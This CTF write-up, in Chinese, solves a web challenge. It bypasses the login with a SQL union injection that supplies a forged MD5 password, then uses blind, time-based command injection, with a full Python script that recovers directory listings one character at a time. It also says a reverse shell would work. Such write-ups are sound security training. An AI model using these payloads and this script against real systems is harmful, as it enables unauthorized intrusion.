login页面,日常先抓包康康
看样子这玩意儿也不会有啥回显 估计又要盲注(初步构想
结果在Respond里发现tip
base64解码后得到login处的验证源码:
发现验证逻辑是取回数据库的密码后,再与post请求里的密码进行对比验证
那么这里就可以考虑利用union注入来返回自己构造的账密,实现伪造身份登入后台
要注意的一点就是在union前的username在数据库中不存在
否则返回的$row数组只将第一条的密码进行校验,无法绕过
于是构造payload如下:
username = impossible’ union select 1,‘76a2173be6393254e72ffa4d6df1030a’#
password = passwd
(76a2173be6393254e72ffa4d6df1030a是passwd的md5值)
良心的是本题没有过滤危险字符(所以就进入后台啦)
后台输入ls只发现了环境在linux下,于是利用管道符测试命令执行漏洞
发现ls命令没有回显内容,考虑前端回显存在过滤或是后台处理存在过滤
自然考虑用时间盲注来测试,构造payload=123;sleep 3;
sleep函数生效!然后就可以开始用脚本跑shell时间盲注啦
import requests
url = 'http://123.206.31.85:49165/login.php'
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36'}
s = requests.session()
# keep session_id
data = {'username' : 'impossible\' union select 1,\'76a2173be6393254e72ffa4d6df1030a\'#', 'password' : 'passwd'}
s.post(url, data = data, headers = headers)
# sign in first
url = 'http://123.206.31.85:49165/index.php'
len = 1
while(1):
payload = 'nothing;str=`ls`;if [ ${#str} -eq ' + str(len) + ' ] ;then sleep 4;fi'
data = {'c' : payload}
try:
s.post(url, data = data, headers = headers, timeout = 3)
except requests.exceptions.ReadTimeout:
break
len += 1
print('Length of `ls`:' + str(len))
ls = ''
for i in range(len):
for dict in " abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789~`!@#$%^&*()-_=+[]{};:\'\"|\,<.>/?":
payload = 'nothing;str=`ls`;if [ ${str:' + str(i) + ':1} == \'' + dict + '\' ] ;then sleep 4;fi'
#print(payload)
data = {'c' : payload}
try:
s.post(url, data = data, headers = headers, timeout = 3)
except requests.exceptions.ReadTimeout:
ls += dict
print(dict)
break
if(dict == '?'):
ls += ' '
print(' ')
print('`ls`:' + ls)
脚本要注意的几个点
- 开始要启用session,先登陆保持cookie,才能进行接下来在index页面的shell盲注
- linux下bash命令有几个手残容易跑崩的点,if语句里的 ‘[’ 和 ']‘ 左右都要有空格,赋值的等号不能有空格,比较运算符要加空格
- 字符串类型比较时用==,>等,整数比较时用-eq,-gt等
漫长的等待脚本跑完(sleep杀我)
拿到ls结果(前面一个一个字符的输出只是为了在盲注跑完前有东西消遣,对没错)
看到fLag_c2Rmc2Fncn-MzRzZGZnNDc.txt
直接访问就能拿到flag!
还看了看有些大佬的wp,貌似这题也可以用反弹shell%%%